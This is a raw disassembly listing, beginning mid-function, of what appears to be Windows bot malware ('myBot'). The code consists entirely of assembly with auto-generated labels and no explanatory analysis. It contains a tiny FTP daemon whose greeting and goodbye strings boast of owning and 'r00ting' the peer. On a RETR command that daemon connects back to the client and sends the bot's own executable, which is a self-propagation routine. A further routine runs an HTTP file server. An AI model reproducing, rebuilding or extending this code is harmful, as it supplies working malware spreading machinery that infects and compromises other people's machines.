		mov	[ebp+var_4], eax


loc_4055AB:				; CODE XREF: sub_4053D6+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BD
; ---------------------------------------------------------------------------


loc_4055BB:				; CODE XREF: sub_4053D6+169j
		push	esi
		lea	eax, [ebp+Dst]
		push	64h
		push	eax
		push	edi
		call	ds:dword_423204	; recv
		test	eax, eax
		jg	short loc_405622
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_405616
		lea	eax, [ebp+var_224]


loc_4055E2:				; CODE XREF: sub_4053D6+216j
		cmp	[eax], edi
		jz	short loc_4055F0
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E2
		jmp	short loc_405616
; ---------------------------------------------------------------------------


loc_4055F0:				; CODE XREF: sub_4053D6+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405610
		lea	eax, [ebp+ecx*4+var_224]


loc_4055FC:				; CODE XREF: sub_4053D6+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FC


loc_405610:				; CODE XREF: sub_4053D6+21Dj
		dec	[ebp+var_228]


loc_405616:				; CODE XREF: sub_4053D6+204j
					; sub_4053D6+218j
		push	edi
		call	ds:dword_423220	; closesocket
		jmp	loc_4059BD
; ---------------------------------------------------------------------------


loc_405622:				; CODE XREF: sub_4053D6+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSS	; "%s %s"
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Str1]
		push	offset aUser_0	; "USER"
		push	eax		; Str1
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405666
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_405666:				; CODE XREF: sub_4053D6+281j
		lea	eax, [ebp+Str1]
		push	offset aPass	; "PASS"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40568A
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_40568A:				; CODE XREF: sub_4053D6+2A5j
		lea	eax, [ebp+Str1]
		push	offset aSyst	; "SYST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AE
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_4056AE:				; CODE XREF: sub_4053D6+2C9j
		lea	eax, [ebp+Str1]
		push	offset aRest	; "REST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D2
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_4056D2:				; CODE XREF: sub_4053D6+2EDj
		lea	eax, [ebp+Str1]
		push	offset off_4292D0 ; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F6
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_4056F6:				; CODE XREF: sub_4053D6+311j
		lea	eax, [ebp+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405731
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405731
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_405731:				; CODE XREF: sub_4053D6+335j
					; sub_4053D6+34Cj
		lea	eax, [ebp+Str1]
		push	offset aType	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576C
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576C
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_40576C:				; CODE XREF: sub_4053D6+370j
					; sub_4053D6+387j
		lea	eax, [ebp+Str1]
		push	offset aPasv	; "PASV"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057BA
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax		; Str
		movsw
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057AA:				; CODE XREF: sub_4053D6+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057B2:				; CODE XREF: sub_4053D6+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AB
; ---------------------------------------------------------------------------


loc_4057BA:				; CODE XREF: sub_4053D6+3ABj
		lea	eax, [ebp+Str1]
		push	offset aList	; "LIST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FB
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Str
		movsb
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057AA
; ---------------------------------------------------------------------------


loc_4057FB:				; CODE XREF: sub_4053D6+3F9j
		lea	eax, [ebp+Str1]
		push	offset aPort	; "PORT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058CE
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax		; Str
		call	_atoi
		mov	[ebp+var_8], eax
		push	32h		; Size
		lea	eax, [ebp+Str]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+var_8]
		lea	eax, [ebp+Str]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 44h
		lea	eax, [ebp+Str]
		push	10h		; Radix
		push	esi		; EndPtr
		push	eax		; Str
		call	_strtoul
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B2
; ---------------------------------------------------------------------------


loc_4058CE:				; CODE XREF: sub_4053D6+43Aj
		lea	eax, [ebp+Str1]
		push	offset aRetr	; "RETR"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405989
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059D9
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40597F
		call	sub_405A56
		cmp	eax, 1
		jnz	loc_4059AB
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_4397EC
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_429128 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405970
		push	esi		; int
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C4]
		push	eax		; Str
		push	[ebp+var_6DC]	; int
		call	sub_40D670
		add	esp, 14h


loc_405970:				; CODE XREF: sub_4053D6+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6F
		pop	ecx
		jmp	short loc_4059AB
; ---------------------------------------------------------------------------


loc_40597F:				; CODE XREF: sub_4053D6+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059A8
; ---------------------------------------------------------------------------


loc_405989:				; CODE XREF: sub_4053D6+50Dj
		lea	eax, [ebp+Str1]
		push	offset aQuit	; "QUIT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AB
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059A8:				; CODE XREF: sub_4053D6+28Bj
					; sub_4053D6+2AFj ...
		push	edi
		call	ebx	; send


loc_4059AB:				; CODE XREF: sub_4053D6+3DFj
					; sub_4053D6+539j ...
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_4059BD:				; CODE XREF: sub_4053D6+160j
					; sub_4053D6+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405504
		jmp	loc_4054C9
; ---------------------------------------------------------------------------


loc_4059CF:				; CODE XREF: sub_4053D6+11Ej
		push	1
		pop	eax


loc_4059D2:				; CODE XREF: sub_4053D6+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059D9	proc near		; CODE XREF: sub_4053D6+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4231E4	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_423214	; socket
		push	[ebp+arg_0]
		mov	ds:dword_4397E8, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4231DC	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_423200	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_4397E8
		call	ds:dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A51
		push	ds:dword_4397E8
		call	ds:dword_423220	; closesocket
		call	ds:dword_4231E0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A51:				; CODE XREF: sub_4059D9+60j
		push	1
		pop	eax
		leave
		retn
sub_4059D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A56	proc near		; CODE XREF: sub_4053D6+531p

DstBuf		= byte ptr -504h
Filename	= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		push	0
		call	ds:dword_423090	; GetModuleFileNameA
		lea	eax, [ebp+Filename]
		push	offset aRb	; "rb"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AED
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD1
		push	edi
		mov	edi, 400h


loc_405A99:				; CODE XREF: sub_405A56+78j
		push	esi		; File
		push	1		; Count
		lea	eax, [ebp+DstBuf]
		push	edi		; ElementSize
		push	eax		; DstBuf
		call	_fread
		add	esp, 10h
		lea	eax, [ebp+DstBuf]
		push	0
		push	edi
		push	eax
		push	ds:dword_4397E8
		call	ds:dword_423208	; send
		push	1
		call	ds:dword_423060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A99
		pop	edi


loc_405AD1:				; CODE XREF: sub_405A56+3Bj
		push	esi		; File
		call	_fclose
		pop	ecx
		push	ds:dword_4397E8
		call	ds:dword_423220	; closesocket
		call	ds:dword_4231E0	; WSACleanup
		push	1
		pop	eax


loc_405AED:				; CODE XREF: sub_405A56+35j
		pop	esi
		leave
		retn
sub_405A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF0	proc near		; DATA XREF: sub_407243+333o
					; sub_40EE51+54CBo

Str		= byte ptr -28F0h
Str1		= byte ptr -18F0h
var_8F0		= dword	ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
Dest		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_14], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_25C]
		call	ds:dword_43C618	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_43C698	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDB
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_44207C[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	ds:dword_43C644	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDB
		push	7FFFFFFFh
		push	edi
		call	ds:dword_43C640	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDB
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_43C6B4	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDB
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BC7:				; CODE XREF: sub_405AF0+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_43C600	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED6
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405BFD:				; CODE XREF: sub_405AF0+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_43C510	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405EC1
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C7F
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43C6AC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC1
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C51
		lea	edx, [ebp+var_134]


loc_405C45:				; CODE XREF: sub_405AF0+15Fj
		cmp	[edx], eax
		jz	short loc_405C51
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C45


loc_405C51:				; CODE XREF: sub_405AF0+14Dj
					; sub_405AF0+157j
		cmp	ecx, ebx
		jnz	short loc_405C6E
		cmp	ebx, 40h
		jnb	short loc_405C6E
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C6E:				; CODE XREF: sub_405AF0+163j
					; sub_405AF0+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC1
		mov	[ebp+var_8], eax
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_405C7F:				; CODE XREF: sub_405AF0+126j
		mov	edi, 1000h
		lea	eax, [ebp+Str]
		push	edi		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_43C630	; recv
		test	eax, eax
		jg	short loc_405D12
		push	esi
		call	ds:dword_43C6B0	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC1
		lea	eax, [ebp+var_134]


loc_405CD1:				; CODE XREF: sub_405AF0+1EBj
		cmp	[eax], esi
		jz	short loc_405CE2
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD1
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_405CE2:				; CODE XREF: sub_405AF0+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D06
		lea	eax, [ebp+ecx*4+var_134]


loc_405CF0:				; CODE XREF: sub_405AF0+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF0


loc_405D06:				; CODE XREF: sub_405AF0+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_405D12:				; CODE XREF: sub_405AF0+1C8j
		xor	esi, esi
		push	104h		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Str]
		mov	[ebp+arg_0], esi
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC1


loc_405D40:				; CODE XREF: sub_405AF0+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+Str]
		cmp	al, 0Ah
		mov	[ebp+esi+Str1],	al
		jnz	loc_405DE5
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DB9
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DB9
		mov	eax, offset asc_4293B4 ; " "
		push	eax		; Delim
		push	eax		; SubStr
		lea	eax, [ebp+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strtok
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy
		add	esp, 10h
		jmp	short loc_405DD0
; ---------------------------------------------------------------------------


loc_405DB9:				; CODE XREF: sub_405AF0+27Fj
					; sub_405AF0+291j
		lea	eax, [ebp+Str1]
		push	offset asc_4293B0 ; "\r\n"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E04


loc_405DD0:				; CODE XREF: sub_405AF0+2C7j
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DE5:				; CODE XREF: sub_405AF0+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+Str]
		push	eax		; Str
		inc	esi
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D40
		jmp	loc_405EC1
; ---------------------------------------------------------------------------


loc_405E04:				; CODE XREF: sub_405AF0+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E4E
		lea	eax, [ebp+var_134]


loc_405E10:				; CODE XREF: sub_405AF0+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E21
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E10
		jmp	short loc_405E51
; ---------------------------------------------------------------------------


loc_405E21:				; CODE XREF: sub_405AF0+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E45
		lea	eax, [ebp+ecx*4+var_134]


loc_405E2F:				; CODE XREF: sub_405AF0+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E2F


loc_405E45:				; CODE XREF: sub_405AF0+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E51
; ---------------------------------------------------------------------------


loc_405E4E:				; CODE XREF: sub_405AF0+318j
		mov	esi, [ebp+var_4]


loc_405E51:				; CODE XREF: sub_405AF0+32Fj
					; sub_405AF0+35Cj
		lea	eax, [ebp+Dest]
		test	eax, eax
		jz	short loc_405EBA
		lea	eax, [ebp+var_360]
		push	eax		; Str
		call	_strlen
		mov	edi, eax
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBA
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43C6B4	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+Dest]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060CD
		add	esp, 14h
		jmp	short loc_405EC1
; ---------------------------------------------------------------------------


loc_405EBA:				; CODE XREF: sub_405AF0+369j
					; sub_405AF0+38Fj
		push	esi
		call	ds:dword_43C6B0	; closesocket


loc_405EC1:				; CODE XREF: sub_405AF0+11Dj
					; sub_405AF0+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFD
		jmp	loc_405BC7
; ---------------------------------------------------------------------------


loc_405ED6:				; CODE XREF: sub_405AF0+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EDB:				; CODE XREF: sub_405AF0+6Aj
					; sub_405AF0+92j ...
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42936C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F21
		push	ebx		; int
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]	; int
		push	eax		; int
		lea	eax, [ebp+var_5E8]
		push	eax		; Str
		push	[ebp+var_5EC]	; int
		call	sub_40D670
		add	esp, 14h


loc_405F21:				; CODE XREF: sub_405AF0+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_254]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050
		pop	edi
		pop	esi
		pop	ebx
sub_405AF0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4B	proc near		; DATA XREF: sub_4060CD+246o

Str		= byte ptr -1654h
Source		= byte ptr -654h
Dest		= byte ptr -550h
var_44C		= dword	ptr -44Ch
Format		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+var_2C4]
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_405FB0
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB5
; ---------------------------------------------------------------------------


loc_405FB0:				; CODE XREF: sub_405F4B+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FB5:				; CODE XREF: sub_405F4B+63j
		lea	eax, [ebp+var_9C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_423098	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_423094	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40602E
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	short loc_40604F
; ---------------------------------------------------------------------------


loc_40602E:				; CODE XREF: sub_405F4B+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 28h


loc_40604F:				; CODE XREF: sub_405F4B+E1j
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_43C668	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40608F
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+var_44C]
		call	sub_4069FF
		pop	ecx
		pop	ecx
		jmp	short loc_4060AC
; ---------------------------------------------------------------------------


loc_40608F:				; CODE XREF: sub_405F4B+12Cj
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; int
		push	[ebp+var_44C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	sub_40637D
		add	esp, 10h


loc_4060AC:				; CODE XREF: sub_405F4B+142j
		push	[ebp+var_44C]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_B4]
		call	sub_417064
		pop	ecx
		push	edi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_405F4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060CD	proc near		; CODE XREF: sub_405AF0+3C0p

Source		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Format		= byte ptr -314h
var_211		= byte ptr -211h
Dst		= byte ptr -210h
Str		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
